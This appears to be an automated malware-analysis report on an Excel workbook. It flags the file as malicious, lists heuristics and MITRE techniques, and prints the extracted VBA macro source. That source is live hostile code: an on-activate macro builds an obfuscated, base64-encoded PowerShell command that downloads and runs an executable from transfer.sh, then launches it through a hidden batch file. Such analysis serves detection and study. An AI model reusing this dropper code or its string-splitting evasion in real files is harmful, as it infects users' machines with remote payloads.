MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1059.005 Visual Basic
The VBA macro contains obfuscated PowerShell code that is reassembled from split string literals. This PowerShell command is designed to download and execute a second-stage payload from the URL 'http://transfer.sh/get/i16FQB/word.exe'. The use of Shell() and the reassembled 'PowerShell' keyword indicate a malicious intent to execute arbitrary code.
Heuristics 3
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5917 bytes |
SHA-256: 21c29af6003124d873c6b0983a98f139ffba499c72f1cdea24574c7c1560941d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_SheetBeforeRightClick(ByVal Sh As Object, ByVal Target As Range, Cancel As Boolean)
End Sub
Private Sub Workbook_SheetCalculate(ByVal Sh As Object)
End Sub
Private Sub Workbook_Activate()
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim s As String
s = s + "start /MIN C:\Windo"
s = s + "ws\System32\" + "WindowsPo" + "werShell\v1.0\pow" + "ershell.exe"
s = s + " -win 1 -enc"
s = s + " "
s = s + "JABQAHIAbwBjAE4"
s = s + "AYQBtAGUAIAA9AC"
s = s + "AAIgBLAGcAdwB1A"
s = s + "GcAcgBmAG0AYQB1"
s = s + "AGsAYgBjAGIAawB"
s = s + "nAHUAbQB1AC4AZQ"
s = s + "B4AGUAIgA7ACgAT"
s = s + "gBlAHcALQBPAGIA"
s = s + "agBlAGMAdAAgAFM"
s = s + "AeQBzAHQAZQBtAC"
s = s + "4ATgBlAHQALgBXA"
s = s + "GUAYgBDAGwAaQBl"
s = s + "AG4AdAApAC4ARAB"
s = s + "vAHcAbgBsAG8AYQ"
s = s + "BkAEYAaQBsAGUAK"
s = s + "AAiAGgAdAB0AHAA"
s = s + "OgAvAC8AdAByAGE"
s = s + "AbgBzAGYAZQByAC"
s = s + "4AcwBoAC8AZwBlA"
s = s + "HQALwBpAGkANgBG"
s = s + "AHEAYgAvAHcAbwB"
s = s + "yAGQALgBlAHgAZQ"
s = s + "AiACwAIgAkAGUAb"
s = s + "gB2ADoAQQBQAFAA"
s = s + "RABBAFQAQQBcACQ"
s = s + "AUAByAG8AYwBOAG"
s = s + "EAbQBlACIAKQA7A"
s = s + "FMAdABhAHIAdAAt"
s = s + "AFAAcgBvAGMAZQB"
s = s + "zAHMAIAAoACIAJA"
s = s + "BlAG4AdgA6AEEAU"
s = s + "ABQAEQAQQBUAEEA"
s = s + "XAAkAFAAcgBvAGM"
s = s + "ATgBhAG0AZQAiAC"
s = s + "kA"
ActiveWorkbook.Save
batch = "Wzjokpltbfr.bat"
Open batch For Output As #1
Print #1, s
Close #1
i = Shell(batch, 0)
End Sub
Private Sub Cellss()
End Sub
Private Sub Workbook_SheetSelectionChange(ByVal Sh As Object, ByVal Target As Range)
End Sub
Attribute VB_Name = "Start"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "1. Add"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "2. Fill"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "3. Split"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "4. Transpose"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "5. Sort & filter"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "6. Tables"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_N
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.